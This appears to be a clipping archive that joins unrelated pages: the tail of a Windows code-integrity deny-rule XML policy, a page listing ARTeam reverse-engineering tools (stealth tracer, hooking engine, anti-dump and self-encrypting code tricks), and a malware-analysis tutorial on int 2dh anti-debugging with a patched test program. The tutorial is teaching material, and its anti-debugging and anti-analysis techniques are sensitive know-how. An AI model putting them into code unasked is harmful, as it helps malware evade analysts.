      <FileRuleRef RuleID="ID_DENY_D_301"/>
      <FileRuleRef RuleID="ID_DENY_D_302"/>
      <FileRuleRef RuleID="ID_DENY_D_303"/>
      <FileRuleRef RuleID="ID_DENY_D_304"/>
      <FileRuleRef RuleID="ID_DENY_D_305"/>
      <FileRuleRef RuleID="ID_DENY_D_306"/>
      <FileRuleRef RuleID="ID_DENY_D_307"/>
      <FileRuleRef RuleID="ID_DENY_D_308"/>
      <FileRuleRef RuleID="ID_DENY_D_309"/>
      <FileRuleRef RuleID="ID_DENY_D_310"/>
      <FileRuleRef RuleID="ID_DENY_D_311"/>
      <FileRuleRef RuleID="ID_DENY_D_312"/>
      <FileRuleRef RuleID="ID_DENY_D_313"/>
      <FileRuleRef RuleID="ID_DENY_D_314"/>
      <FileRuleRef RuleID="ID_DENY_D_315"/>
      <FileRuleRef RuleID="ID_DENY_D_316"/>
      <FileRuleRef RuleID="ID_DENY_D_317"/>
      <FileRuleRef RuleID="ID_DENY_D_318"/>
      <FileRuleRef RuleID="ID_DENY_D_319"/>
      <FileRuleRef RuleID="ID_DENY_D_320"/>
      <FileRuleRef RuleID="ID_DENY_D_321"/>
      <FileRuleRef RuleID="ID_DENY_D_322"/>
      <FileRuleRef RuleID="ID_DENY_D_323"/>
      <FileRuleRef RuleID="ID_DENY_D_324"/>
      <FileRuleRef RuleID="ID_DENY_D_325"/>
      <FileRuleRef RuleID="ID_DENY_D_326"/>
      <FileRuleRef RuleID="ID_DENY_D_327"/>
      <FileRuleRef RuleID="ID_DENY_D_328"/>
      <FileRuleRef RuleID="ID_DENY_D_329"/>
      <FileRuleRef RuleID="ID_DENY_D_330"/>
      <FileRuleRef RuleID="ID_DENY_D_331"/>
      <FileRuleRef RuleID="ID_DENY_D_332"/>
      <FileRuleRef RuleID="ID_DENY_D_333"/>
      <FileRuleRef RuleID="ID_DENY_D_334"/>
      <FileRuleRef RuleID="ID_DENY_D_335"/>
      <FileRuleRef RuleID="ID_DENY_D_336"/>
      <FileRuleRef RuleID="ID_DENY_D_337"/>
      <FileRuleRef RuleID="ID_DENY_D_338"/>
      <FileRuleRef RuleID="ID_DENY_D_339"/>
      <FileRuleRef RuleID="ID_DENY_D_340"/>
      <FileRuleRef RuleID="ID_DENY_D_341"/>
      <FileRuleRef RuleID="ID_DENY_D_342"/>
      <FileRuleRef RuleID="ID_DENY_D_343"/>
      <FileRuleRef RuleID="ID_DENY_D_344"/>
      <FileRuleRef RuleID="ID_DENY_D_345"/>
      <FileRuleRef RuleID="ID_DENY_D_346"/>
      <FileRuleRef RuleID="ID_DENY_D_347"/>
      <FileRuleRef RuleID="ID_DENY_D_348"/>
      <FileRuleRef RuleID="ID_DENY_D_349"/>
      <FileRuleRef RuleID="ID_DENY_D_350"/>
      <FileRuleRef RuleID="ID_DENY_D_351"/>
      <FileRuleRef RuleID="ID_DENY_D_352"/>
      <FileRuleRef RuleID="ID_DENY_D_353"/>
      <FileRuleRef RuleID="ID_DENY_D_354"/>
      <FileRuleRef RuleID="ID_DENY_D_355"/>
      <FileRuleRef RuleID="ID_DENY_D_356"/>
      <FileRuleRef RuleID="ID_DENY_D_357"/>
      <FileRuleRef RuleID="ID_DENY_D_358"/>
      <FileRuleRef RuleID="ID_DENY_D_359"/>
      <FileRuleRef RuleID="ID_DENY_D_360"/>
      <FileRuleRef RuleID="ID_DENY_D_361"/>
      <FileRuleRef RuleID="ID_DENY_D_362"/>
      <FileRuleRef RuleID="ID_DENY_D_363"/>
      <FileRuleRef RuleID="ID_DENY_D_364"/>
      <FileRuleRef RuleID="ID_DENY_D_365"/>
      <FileRuleRef RuleID="ID_DENY_D_366"/>
      <FileRuleRef RuleID="ID_DENY_D_367"/>
      <FileRuleRef RuleID="ID_DENY_D_368"/>
      <FileRuleRef RuleID="ID_DENY_D_369"/>
      <FileRuleRef RuleID="ID_DENY_D_370"/>
      <FileRuleRef RuleID="ID_DENY_D_371"/>
      <FileRuleRef RuleID="ID_DENY_D_372"/>
      <FileRuleRef RuleID="ID_DENY_D_373"/>
      <FileRuleRef RuleID="ID_DENY_D_374"/>
      <FileRuleRef RuleID="ID_DENY_D_375"/>
      <FileRuleRef RuleID="ID_DENY_D_376"/>
      <FileRuleRef RuleID="ID_DENY_D_377"/>
      <FileRuleRef RuleID="ID_DENY_D_378"/>
      <FileRuleRef RuleID="ID_DENY_D_379"/>
      <FileRuleRef RuleID="ID_DENY_D_380"/>
      <FileRuleRef RuleID="ID_DENY_D_381"/>
      <FileRuleRef RuleID="ID_DENY_D_382"/>
      <FileRuleRef RuleID="ID_DENY_D_383"/>
      <FileRuleRef RuleID="ID_DENY_D_384"/>
      <FileRuleRef RuleID="ID_DENY_D_385"/>
      <FileRuleRef RuleID="ID_DENY_D_386"/>
      <FileRuleRef RuleID="ID_DENY_D_387"/>
      <FileRuleRef RuleID="ID_DENY_D_388"/>
      <FileRuleRef RuleID="ID_DENY_D_389"/>
      <FileRuleRef RuleID="ID_DENY_D_390"/>
      <FileRuleRef RuleID="ID_DENY_D_391"/>
      <FileRuleRef RuleID="ID_DENY_D_392"/>
      <FileRuleRef RuleID="ID_DENY_D_393"/>
      <FileRuleRef RuleID="ID_DENY_D_394"/>
      <FileRuleRef RuleID="ID_DENY_D_395"/>
      <FileRuleRef RuleID="ID_DENY_D_396"/>
      <FileRuleRef RuleID="ID_DENY_D_397"/>
      <FileRuleRef RuleID="ID_DENY_D_398"/>
      <FileRuleRef RuleID="ID_DENY_D_399"/>
      <FileRuleRef RuleID="ID_DENY_D_400"/>
      <FileRuleRef RuleID="ID_DENY_D_401"/>
      <FileRuleRef RuleID="ID_DENY_D_402"/>
      <FileRuleRef RuleID="ID_DENY_D_403"/>
      <FileRuleRef RuleID="ID_DENY_D_404"/>
      <FileRuleRef RuleID="ID_DENY_D_405"/>
      <FileRuleRef RuleID="ID_DENY_D_406"/>
      <FileRuleRef RuleID="ID_DENY_D_407"/>
      <FileRuleRef RuleID="ID_DENY_D_408"/>
      <FileRuleRef RuleID="ID_DENY_D_409"/>
      <FileRuleRef RuleID="ID_DENY_D_410"/>
      <FileRuleRef RuleID="ID_DENY_D_411"/>
      <FileRuleRef RuleID="ID_DENY_D_412"/>
      <FileRuleRef RuleID="ID_DENY_D_413"/>
      <FileRuleRef RuleID="ID_DENY_D_414"/>
      <FileRuleRef RuleID="ID_DENY_D_415"/>
      <FileRuleRef RuleID="ID_DENY_D_416"/>
      <FileRuleRef RuleID="ID_DENY_D_417"/>
      <FileRuleRef RuleID="ID_DENY_D_418"/>
      <FileRuleRef RuleID="ID_DENY_D_419"/>
      <FileRuleRef RuleID="ID_DENY_D_420"/>
      <FileRuleRef RuleID="ID_DENY_D_421"/>
      <FileRuleRef RuleID="ID_DENY_D_422"/>
      <FileRuleRef RuleID="ID_DENY_D_423"/>
      <FileRuleRef RuleID="ID_DENY_D_424"/>
      <FileRuleRef RuleID="ID_DENY_D_425"/>
      <FileRuleRef RuleID="ID_DENY_D_426"/>
      <FileRuleRef RuleID="ID_DENY_D_427"/>
      <FileRuleRef RuleID="ID_DENY_D_428"/>
      <FileRuleRef RuleID="ID_DENY_D_429"/>
      <FileRuleRef RuleID="ID_DENY_D_430"/>
      <FileRuleRef RuleID="ID_DENY_D_431"/>
      <FileRuleRef RuleID="ID_DENY_D_432"/>
      <FileRuleRef RuleID="ID_DENY_D_433"/>
      <FileRuleRef RuleID="ID_DENY_D_434"/>
      <FileRuleRef RuleID="ID_DENY_D_435"/>
      <FileRuleRef RuleID="ID_DENY_D_436"/>
      <FileRuleRef RuleID="ID_DENY_D_437"/>
      <FileRuleRef RuleID="ID_DENY_D_438"/>
      <FileRuleRef RuleID="ID_DENY_D_439"/>
      <FileRuleRef RuleID="ID_DENY_D_440"/>
      <FileRuleRef RuleID="ID_DENY_D_441"/>
      <FileRuleRef RuleID="ID_DENY_D_442"/>
      <FileRuleRef RuleID="ID_DENY_D_443"/>
      <FileRuleRef RuleID="ID_DENY_D_444"/>
      <FileRuleRef RuleID="ID_DENY_D_445"/>
      <FileRuleRef RuleID="ID_DENY_D_446"/>
      <FileRuleRef RuleID="ID_DENY_D_447"/>
      <FileRuleRef RuleID="ID_DENY_D_448"/>
      <FileRuleRef RuleID="ID_DENY_D_449"/>
      <FileRuleRef RuleID="ID_DENY_D_450"/>
      <FileRuleRef RuleID="ID_DENY_D_451"/>
      <FileRuleRef RuleID="ID_DENY_D_452"/>
      <FileRuleRef RuleID="ID_DENY_D_453"/>
      <FileRuleRef RuleID="ID_DENY_D_454"/>
      <FileRuleRef RuleID="ID_DENY_D_455"/>
      <FileRuleRef RuleID="ID_DENY_D_456"/>
      <FileRuleRef RuleID="ID_DENY_D_457"/>
      <FileRuleRef RuleID="ID_DENY_D_458"/>
      <FileRuleRef RuleID="ID_DENY_D_459"/>
      <FileRuleRef RuleID="ID_DENY_D_460"/>
      <FileRuleRef RuleID="ID_DENY_D_461"/>
      <FileRuleRef RuleID="ID_DENY_D_462"/>
      <FileRuleRef RuleID="ID_DENY_D_463"/>
      <FileRuleRef RuleID="ID_DENY_D_464"/>
      <FileRuleRef RuleID="ID_DENY_D_465"/>
      <FileRuleRef RuleID="ID_DENY_D_466"/>
      <FileRuleRef RuleID="ID_DENY_D_467"/>
      <FileRuleRef RuleID="ID_DENY_D_468"/>
      <FileRuleRef RuleID="ID_DENY_D_469"/>
      <FileRuleRef RuleID="ID_DENY_D_470"/>
      <FileRuleRef RuleID="ID_DENY_D_471"/>
      <FileRuleRef RuleID="ID_DENY_D_472"/>
      <FileRuleRef RuleID="ID_DENY_D_473"/>
      <FileRuleRef RuleID="ID_DENY_D_474"/>
      <FileRuleRef RuleID="ID_DENY_D_475"/>
      <FileRuleRef RuleID="ID_DENY_D_476"/>
      <FileRuleRef RuleID="ID_DENY_D_477"/>
      <FileRuleRef RuleID="ID_DENY_D_478"/>
      <FileRuleRef RuleID="ID_DENY_D_479"/>
      <FileRuleRef RuleID="ID_DENY_D_480"/>
      <FileRuleRef RuleID="ID_DENY_D_481"/>
      <FileRuleRef RuleID="ID_DENY_D_482"/>
      <FileRuleRef RuleID="ID_DENY_D_483"/>
      <FileRuleRef RuleID="ID_DENY_D_484"/>
      <FileRuleRef RuleID="ID_DENY_D_485"/>
      <FileRuleRef RuleID="ID_DENY_D_486"/>
      <FileRuleRef RuleID="ID_DENY_D_487"/>
      <FileRuleRef RuleID="ID_DENY_D_488"/>
      <FileRuleRef RuleID="ID_DENY_D_489"/>
      <FileRuleRef RuleID="ID_DENY_D_490"/>
      <FileRuleRef RuleID="ID_DENY_D_491"/>
      <FileRuleRef RuleID="ID_DENY_D_492"/>
      <FileRuleRef RuleID="ID_DENY_D_493"/>
      <FileRuleRef RuleID="ID_DENY_D_494"/>
      <FileRuleRef RuleID="ID_DENY_D_495"/>
      <FileRuleRef RuleID="ID_DENY_D_496"/>
      <FileRuleRef RuleID="ID_DENY_D_497"/>
      <FileRuleRef RuleID="ID_DENY_D_498"/>
      <FileRuleRef RuleID="ID_DENY_D_499"/>
      <FileRuleRef RuleID="ID_DENY_D_500"/>
      <FileRuleRef RuleID="ID_DENY_D_501"/>
      <FileRuleRef RuleID="ID_DENY_D_502"/>
      <FileRuleRef RuleID="ID_DENY_D_503"/>
      <FileRuleRef RuleID="ID_DENY_D_504"/>
      <FileRuleRef RuleID="ID_DENY_D_505"/>
      <FileRuleRef RuleID="ID_DENY_D_506"/>
      <FileRuleRef RuleID="ID_DENY_D_507"/>
      <FileRuleRef RuleID="ID_DENY_D_508"/>
      <FileRuleRef RuleID="ID_DENY_D_509"/>
      <FileRuleRef RuleID="ID_DENY_D_510"/>
      <FileRuleRef RuleID="ID_DENY_D_511"/>
      <FileRuleRef RuleID="ID_DENY_D_512"/>
      <FileRuleRef RuleID="ID_DENY_D_513"/>
      <FileRuleRef RuleID="ID_DENY_D_514"/>
      <FileRuleRef RuleID="ID_DENY_D_515"/>
      <FileRuleRef RuleID="ID_DENY_D_516"/>
      <FileRuleRef RuleID="ID_DENY_D_517"/>
      <FileRuleRef RuleID="ID_DENY_D_518"/>
      <FileRuleRef RuleID="ID_DENY_D_519"/>
      <FileRuleRef RuleID="ID_DENY_D_520"/>
      <FileRuleRef RuleID="ID_DENY_D_521"/>
      <FileRuleRef RuleID="ID_DENY_D_522"/>
      <FileRuleRef RuleID="ID_DENY_D_523"/>
      <FileRuleRef RuleID="ID_DENY_D_524"/>
      <FileRuleRef RuleID="ID_DENY_D_525"/>
      <FileRuleRef RuleID="ID_DENY_D_526"/>
      <FileRuleRef RuleID="ID_DENY_D_527"/>
      <FileRuleRef RuleID="ID_DENY_D_528"/>
      <FileRuleRef RuleID="ID_DENY_D_529"/>
      <FileRuleRef RuleID="ID_DENY_D_530"/>
      <FileRuleRef RuleID="ID_DENY_D_531"/>
      <FileRuleRef RuleID="ID_DENY_D_532"/>
      <FileRuleRef RuleID="ID_DENY_D_533"/>
      <FileRuleRef RuleID="ID_DENY_D_534"/>
      <FileRuleRef RuleID="ID_DENY_D_535"/>
      <FileRuleRef RuleID="ID_DENY_D_536"/>
      <FileRuleRef RuleID="ID_DENY_D_537"/>
      <FileRuleRef RuleID="ID_DENY_D_538"/>
      <FileRuleRef RuleID="ID_DENY_D_539"/>
      <FileRuleRef RuleID="ID_DENY_D_540"/>
      <FileRuleRef RuleID="ID_DENY_D_541"/>
      <FileRuleRef RuleID="ID_DENY_D_542"/>
      <FileRuleRef RuleID="ID_DENY_D_543"/>
      <FileRuleRef RuleID="ID_DENY_D_544"/>
      <FileRuleRef RuleID="ID_DENY_D_545"/>
      <FileRuleRef RuleID="ID_DENY_D_546"/>
      <FileRuleRef RuleID="ID_DENY_D_547"/>
      <FileRuleRef RuleID="ID_DENY_D_548"/>
      <FileRuleRef RuleID="ID_DENY_D_549"/>
      <FileRuleRef RuleID="ID_DENY_D_550"/>
      <FileRuleRef RuleID="ID_DENY_D_551"/>
      <FileRuleRef RuleID="ID_DENY_D_552"/>
      <FileRuleRef RuleID="ID_DENY_D_553"/>
      <FileRuleRef RuleID="ID_DENY_D_554"/>
      <FileRuleRef RuleID="ID_DENY_D_555"/>
      <FileRuleRef RuleID="ID_DENY_D_556"/>
      <FileRuleRef RuleID="ID_DENY_D_557"/>
      <FileRuleRef RuleID="ID_DENY_D_558"/>
      <FileRuleRef RuleID="ID_DENY_D_559"/>
      <FileRuleRef RuleID="ID_DENY_D_560"/>
      <FileRuleRef RuleID="ID_DENY_D_561"/>
      <FileRuleRef RuleID="ID_DENY_D_562"/>
      <FileRuleRef RuleID="ID_DENY_D_563"/>
      <FileRuleRef RuleID="ID_DENY_D_564"/>
      <FileRuleRef RuleID="ID_DENY_D_565"/>
      <FileRuleRef RuleID="ID_DENY_D_566"/>
      <FileRuleRef RuleID="ID_DENY_D_567"/>
      <FileRuleRef RuleID="ID_DENY_D_568"/>
      <FileRuleRef RuleID="ID_DENY_D_569"/>
      <FileRuleRef RuleID="ID_DENY_D_570"/>
      <FileRuleRef RuleID="ID_DENY_D_571"/>
      <FileRuleRef RuleID="ID_DENY_D_572"/>
      <FileRuleRef RuleID="ID_DENY_D_573"/>
      <FileRuleRef RuleID="ID_DENY_D_574"/>
      <FileRuleRef RuleID="ID_DENY_D_575"/>
      <FileRuleRef RuleID="ID_DENY_D_576"/>
      <FileRuleRef RuleID="ID_DENY_D_577"/>
      <FileRuleRef RuleID="ID_DENY_D_578"/>
      <FileRuleRef RuleID="ID_DENY_D_579"/>
      <FileRuleRef RuleID="ID_DENY_D_580"/>
      <FileRuleRef RuleID="ID_DENY_D_581"/>
      <FileRuleRef RuleID="ID_DENY_D_582"/>
      <FileRuleRef RuleID="ID_DENY_D_583"/>
      <FileRuleRef RuleID="ID_DENY_D_584"/>
      <FileRuleRef RuleID="ID_DENY_D_585"/>
      <FileRuleRef RuleID="ID_DENY_D_586"/>
      <FileRuleRef RuleID="ID_DENY_D_587"/>
      <FileRuleRef RuleID="ID_DENY_D_588"/>
      <FileRuleRef RuleID="ID_DENY_D_589"/>
      <FileRuleRef RuleID="ID_DENY_D_590"/>
      <FileRuleRef RuleID="ID_DENY_D_591"/>
      <FileRuleRef RuleID="ID_DENY_D_592"/>
      <FileRuleRef RuleID="ID_DENY_D_593"/>
      <FileRuleRef RuleID="ID_DENY_D_594"/>
      <FileRuleRef RuleID="ID_DENY_D_595"/>
      <FileRuleRef RuleID="ID_DENY_D_596"/>
      <FileRuleRef RuleID="ID_DENY_D_597"/>
      <FileRuleRef RuleID="ID_DENY_D_598"/>
      <FileRuleRef RuleID="ID_DENY_D_599"/>
      <FileRuleRef RuleID="ID_DENY_D_600"/>
      <FileRuleRef RuleID="ID_DENY_D_601"/>
      <FileRuleRef RuleID="ID_DENY_D_602"/>
      <FileRuleRef RuleID="ID_DENY_D_603"/>
      <FileRuleRef RuleID="ID_DENY_D_604"/>
      <FileRuleRef RuleID="ID_DENY_D_605"/>
      <FileRuleRef RuleID="ID_DENY_D_606"/>
      </FileRulesRef>
      </ProductSigners>
      </SigningScenario>
      </SigningScenarios>
      <UpdatePolicySigners /> 
      <CiSigners /> 
      <HvciOptions>0</HvciOptions> 
      </SiPolicy>
    
[/code]

  

## Feedback

Send feedback about:

This product Ｍ

Loading feedback...

# cr4zyserb - deroko of ARTeam

**Created:**| _2/5/2011 12:29:25 PM_  
---|---  
**Updated:**| _2/6/2011 11:34:15 AM_  
**Author:**| __  
**Tags:**| _reversing_  
  

## tracer or Writing tracer without using Windows Debug API

This driver was used in some private projects of mine to achive fast and
stealth debugging. Some of them are ASProtect SKE 2.3 unpacker, and TheMida
unpacker

## xTracer

This tools uses split TLB to trace execution of certain application. Tool
supports only 1 break, but it can be updated to support more code breaks, and
more memory breakpoints on execution. This is planned for one day, but as it
was never needed it was never implemented. Code is released under GPL 3.0 and
is official ARTeam release\!

## Drive List

Tool which helps in locating attached storage devices, and identifies on which
BUS those are attached

## ExportLog

Tool to demonstrate how to spy custom GetProcAddress. It sets PAGE\_GUARD on
export.AddressOfFunctions and monitors access to it

## SymbolFinder

Small program to list all symbols from ntoskrnl.exe. It can list enums,
structures, and give you addresses of all symbols in ntoskrnl.exe.

## Ultimate Hooking Engine

Ultimate Hooking Engine is easy to use hooking engine for Win32 APIs. All you
need to do is to provide hooking dll and engine will perfrom hooking. Please
check readme.txt in archive and C/asm examples. No need to pay for
hooking/loging engines anymore when you can use it for free\!\!\!

## Length Disasembly engine for x86

Engine whcih will get size of instructions, writen as offset indipendent code,
so it can be used in viruses, loaders, and other codes where offset
indipendent code is needed.

## Runtime Decryption/Encryption

Use TF to decrypt current instruction, and to encrypt previous. Code stays
crypted all the time during execution, untill someone doesn't decypt it fully
:\)

## TLS CallBack in tasm32

Workaround to make TLS CallBack in tasm32, nothing advanced, only some simple
PE Patching.

## ReAllocate Resources

Code demonstrates how to reallocate resources such that those won't be present
in the image when it is dumped to the disk. This won't stop good unpackers,
but will certainly stop beginners that got used to "Count exception, set
memory break point, dump, imprec and voila".

# Dr. Fu's Security Blog: Malware Analysis Tutorial 4: Int2dh Anti-Debugging
\(Part II\)

**Created:**| _1/3/2012 4:17:21 PM_  
---|---  
**Updated:**| _1/3/2012 4:17:21 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis Tutorials_  
  

### Malware Analysis Tutorial 4: Int2dh Anti-Debugging \(Part II\)

**Learning Goals** :  

  1. Explore the behavior difference of debuggers on int 2dh.
  2. Debugging and modification of binary executable programs.
  3. Basic control flow constructs in x86 assembly.

**Applicable to:**  

  1. Computer Architecture
  2. Operating Systems
  3. Operating Systems Security
  4. Software Engineering 

  
**Challenge of the Day:**  

  1. Find out as many ways as possible to make a program run differently in a debugged environment from a regular execution \(using int 2d\)?

**1\. Introduction**  
  
The behavior of int 2d instructions may be affected by many factors, e.g., the
SEH handler installed by the program itself, whether the program is running
under a ring 3 debugger, whether the OS is running in the debugged mode, the
program logic of the OS exception handler \(KiDispatch\), the value of
registers when int 2d is requested \(determining the service that is
requested\). _**In the following, we use an experimental approach to explore
the possible ways to make a program behave differently when running in a
virtual machine and debugged environment.**_  
  
**2\. Lab Configuration**  
  
In addition the the immunity debugger, we are going to use WinDbg in this
tutorial. Before we proceed, we need to configure it properly on the host
machine and the guest XP.  
  
If you have not installed the guest VM, please follow the instructions of
Tutorial 1. Pay special attention to Seciton 3.1 \(how to set up the serial
port of the XP Guest\). In the following we assume that the pipe path on the
**host machine i** s **\\\\.\pipe\com\_11** and the **guest OS** is using
**COM1**. The installation of WinDbg on the host machine can follow the
instructions on MSDN.  
  
We need to further configure the XP guest to make it work.  
  
**\(1\) Revision of c:\boot.ini.** This is to set up a second booting option
for the debug mode. The file is shown as below, you can modify yours
correspondingly. Note that we set COM1 as the debug port.  
  
\-------------------------------------  
\[boot loader\]  
timeout=30  
default=multi\(0\)disk\(0\)rdisk\(0\)partition\(1\)\WINDOWS  
\[operating systems\]  
multi\(0\)disk\(0\)rdisk\(0\)partition\(1\)\WINDOWS="Microsoft Windows XP
Professional" /noexecute=optin /fastdetect  
**multi\(0\)disk\(0\)rdisk\(0\)partition\(1\)\WINDOWS= "DEBUGGED VERSION"
/noexecute=optin /fastdetect /debug /debugport=com1 /baudrate=115200**  
  
\------------------------------------  
  
**\(2\) Manual configuration of COM ports.** In some versions of XP, COM ports
have to be manually configured. You can follow jorgensen's tutorial on "How to
Add a Serial Port in Windows XP and 7 Guest" \(follow the XP part\). It
consists of two steps: \(1\) manually add a COM port in Control Panel and
\(2\) manually configure COM1 as the port number.  
  
**\(3\) Test run of WinDbg.**  
Start your**XP guest** in the **debug mode** \(2nd option\).  
  
Now in the **host machine** , launch the "Windows SDK 7.1" command window
coming with WinDbg. Change directory to "c:\Program Files\Debugging Tools for
Windows\(x86\)" and type the following. You should be able to get a window as
shown in Figure 1.  
  
**windbg -b -k com:pipe,port=\\\\.\pipe\com\_11**  
  
You might notice that currently you are not able to access your XP Guest. This
is because WinDbg stops its running, Simply type "**g** " \(standing for
"go"\) in the WinDbg window, and let the XP Guest continue.  
<img src='img/Temp2_2408.jpg' width='640px' height='574px' />  
---  
Figure 1: Screenshot of WinDbg  
  
  
**3\. Experiment 1: Int 2d on Cygwin**  
  
In the following, we demonstrate some of the interesting behaviors of Int 2d
using a simple program Int2dPrint.exe. The C++ source of the program is shown
in the following. The output of the program should be "AAAABBBB". We added a
fflush\(stdout\) to enforce the output in an eager mode and before each
printf\(\) statement, there are _**five integer operations to allow us insert
additional machine code later**_.  
  
\----------------------------------------------  
\#include <stdio.h>  
  
int main\(\)\{  
int a = 0;  
int b = 0;  
int c = 0;  
int d = 0;  
int e = 0;  
printf\("AAAA"\);  
fflush\(stdout\);  
  
a = 0; b = 0; c = 0; d = 0; e = 0;  
printf\("BBBB"\);  
fflush\(stdout\);  
\}  
\--------------------------------------------  
Source code of Int2dPrint.exe  
  
Figure 2 shows the assembly of the compiled code.Clearly,the 'MOV \[EBP-xx\],
0' instructions between 0x4010BA and 0x4010D6 correspond to the integer
assignments "int a=0" etc. in the source program. The "MOV \[ESP\], 0X402020"
at 0x4010DD is to push the parameter \(the starting address of constant string
"AAAA"\) into the stack, for the printf\(\) call. Also note that before the
fflush call at 0x4010F4, the program calls cygwin.\_\_getreent. It is to get
the thread specific re-entrant structure so that the stdout \(file descriptor
of the standard output\) can be retrieved. In fact, you can infer that the
stdout is located at offset 0x8 of the reentrant structure.  
  
<img src='img/Temp2_2411.jpg' />  
---  
Figure 2. Compiled Binary of Int2dPrint.cc  
**3.1 Patching Binary Code**  
  
Now let us roll our sleeves and prepare the patch the Int2dPrint.exe. The
binary program is compiled using g++ under Cygwin. To run it, you need the
cygwin1.dll in Cygwin's bin folder. You can choose to compile it by yourself,
or use the one provided in the zipped project folder.  
  
Make sure that your XP guest is __**running in NON-DEBUG mode\!**__  
  
We now add the following assembly code at location 0x4010F9 of Int2dPrint.exe
\(the first "int a=0" before the printf\("BBBB"\)\). Intuitively, the code
tests the value of EAX after the int 2d call. If EAX is 0 \(here "JZ" means
Jump if Zero\), the program will jump to 0x401138, which skips the
printf\("BBBB"\). _**Notice that this occurs only when the instruction "inc
EAX" is skipped.**_  
  
\------------------------------------  
  
xor EAX, EAX \# set EAX=0;  
int 2d \# invoke the exception handler  
inc EAX \# if executed, will set EAX=1  
cmp EAX, 0  
JZ 0x401138 \# if EAX=0, will skip printf\("BBBB"\);  
\-----------------------------------  
The assemble Code to Insert  
  
The following shows you how to patch the code using IMM:  
\(1\) Right click at 0x4010F9 in the CPU pane, and choose "**Assemble** ".
\(Or simple press Spacebar at the location\). Enter the code as above.  
\(2\) Right click in the CPU pane, choose "_**Copy to Executable**_ " \-->
"_**All Modified**_ ", then click "_**Copy All**_ ". A window of modified
instructions will show up. Close that window and click "Yes" to save. Save the
file as _**Int2dPrint\_EAX\_0\_JZ0.exe**_. The name suggests that the EAX
input parameter to the int 2d service is 0, and we expect it to skip the
printf\("BBBB"\) if EAX=0, i.e., the output of the program should be "AAAA".
\(this, of course, depends on whether the "inc EAX" instruction is executed or
not\).  
  
In Figure 3, you can find the disassembly of
_**Int2dPrint\_EAX\_0\_JZ0.exe**_. Setting a breakpoint at 0x004010BA, you can
execute the program step by step in IMM. You might find that the output is
"AAAA" \(i.e., "BBBB" is skipped\). It seems to confirm the conclusion of byte
scission of int 2d.You can also run the program in a command window, the
output is the same.  
  
<img src='img/Temp2_2413.jpg' />  
---  
Figure 3. Disassembly of Int2dPrint\_EAX\_0\_JZ0.exe  
  

  
But wait, how about another experiment. Let's modify the instruction at
0x401101 and make it "_**JNZ 0x401138**_ " \(name it as
_**Int2dPrint\_EAX\_0\_JNZ0.exe**_\). What is the expected output? "AAAABBBB"?
__**You might find that in IMM, the program outputs "AAAABBBB"; but if run in
command window, it generates "AAAA" only\!\!\!**__ \(Notice that we have ruled
out the possibility that the I/O output was lost in buffer - because we call
the fflush\(stdout\) to enforce all outout immediately\). What does this mean?
There could be two possibilities:  
  
\(1\). Somehow, the instruction "INC EAX" is mysteriously executed \(in the
regular execution of Int2dPrint\_EAX\_0\_JNZ0.exe\). This makes no sense,
because prior to 0x401101, the program is exactly the same as
Int2dPrint\_EAX\_0\_JZ0.exe.  
  
\(2\). There is something tricky in the exception handler code \(it could be
the SEH of the program itself, or the KiDispatch in the kernel\).  
  
We will later come back to this strange behavior, and provide an explanation.  
  
**3.2 Experiments with Kernel-Debugging Mode**  
  
Now let's _**reboot the guest OS into the DEBUG mode**_ \(but _**without
launching WinDbg**_ in the host machine\). Let's re-run the two programs, you
might have some interesting finding. __**Both programs hang the guest OS**__\!  
  
Now let's reboot the guest OS again into the DEBUG mode and launch WinDbg in
the host machine \(press "g" twice to let it continue\). Now start the
Int2dPrint\_EAX\_0\_JNZ0.exe in command window. What is your observation?
Figure 4 displays the result: the debugger stops at 0x4010fd \(the "inc EAX"
instruction\) on exception 80000003 \(the exception code "BREAKPOINT" in
windows\)\! If you type "g", the program will proceed and **produce "AAAA"\!**
\(**while in the non-debugged windows mode and command window, it's producing
"AAAABBBB"\!**\)  
  
<img src='img/Temp2_2412.jpg' />  
---  
Figure 4: Running Result of Int2dPrint\_EAX\_0\_JNZ0.exe  
  
**3.2 Discussion**  
  
Now let us summarize our observations so far in Table 1 \(I did not discuss
some of the experiments here but you can repeat them using the files
provided\).  
  
<img src='img/Temp2_2415.jpg' />  
---  
Table 1: Summary of Experiment 1  
  
To simply put: _**int 2dh is a much more powerful technique to examine the
existence of debuggers than people previously thought**_ \(see the reference
list of tutorial 3\). It can be used to detect the existence of both ring 3
\(user level\) and ring 0 \(kernel level\) debuggers. For example, using Table
1, we can easily tell if Windows is running in DEBUG mode \(i.e., kernel
debugger enabled\) or not, and if a kernel debugger like WinDbg is hooked to
the debug COM port or not. We can also tell the existence of a user level
debugger such as IMM, whether windows is running in non-debug or debug mode.
The delicacy is that the final output of the int 2dh instruction is affected
by many factors, and experiment 1 only covers a subset of them. The following
is a re-cap of some of the important facts:  

  1. EAX, ECX, EDX are the parameters to the int 2d service. EAX \(1,2,3,4\) represent the printing, interactive prompt, load image, unload image. See Almeida's tutorial for more details._**Notice that we are supplying an EAX value 0, which is not expected by the service\!**_ \(normal values should be from 1 to 4\).
  2. Once the int 2d instruction is executed, CPU locates the interrupt vector and jumps to the handler routine, which is the part of OS.
  3. OS wraps the details of hardware exception, and generates kernel data structures such as Exception\_Record, which contains Exception Code: 80000003 \(represents a breakpoint exception\).
  4. Then control is forwarded to kernel call _**KiDispatchException**_ , which depending on if Windows is running in kernel mode, exhibits very sophisticated behavior. See details in G. Nebbett, "Windows NT/2000 Native API Reference" \(pp 441 gives pseudo code of KiDispatchException\). For example, in windows debug mode, this generally involves _**forwarding the exception to debugger first**_ \(calling DbgkForwardException\), and then the invocation of _**user program installed SEH handlers**_ , and then _**forward the exception to debugger**_ a second time. 

  
  
We now proceed to briefly explain all the behaviors that we have observed.  
  
**Case 1. Non-Debug Mode and Command Window \( column 2 in Table 1\):** this
is the only case that Int2dPrint\_EAX\_0\_JZ0.exe and
Int2dPrint\_EAX\_0\_JNZ0.exe behave **the same way**. There is only one
explanation: the inc EAX is not executed - not because the exception handling
behaves differently in a debugged environment, but because _**the entire
process is terminated**_. To illustrate the point, observe the two screenshots
in Figure 5, which are generated by the IMM debugger via \(View->SEH Chain\).
Diagram \(a\) shows the SEH chain when the program is just started, you can
see that the default handler kernel32.7C839AC0 \(means the entry address of
the handler is 7c839ac0 and it is located in kernel32\). If you set a
breakpoint right before the printf\(\), you might notice that the SEH chain
now includes another handler from cygwin \(in Fig 5\(b\)\)\!_** It's the
cygwin handler which directly terminates the process \(without throwing any
error messages\); if it is the kernel32 handler, it would pop a standard
windows error dialog.**_  
  
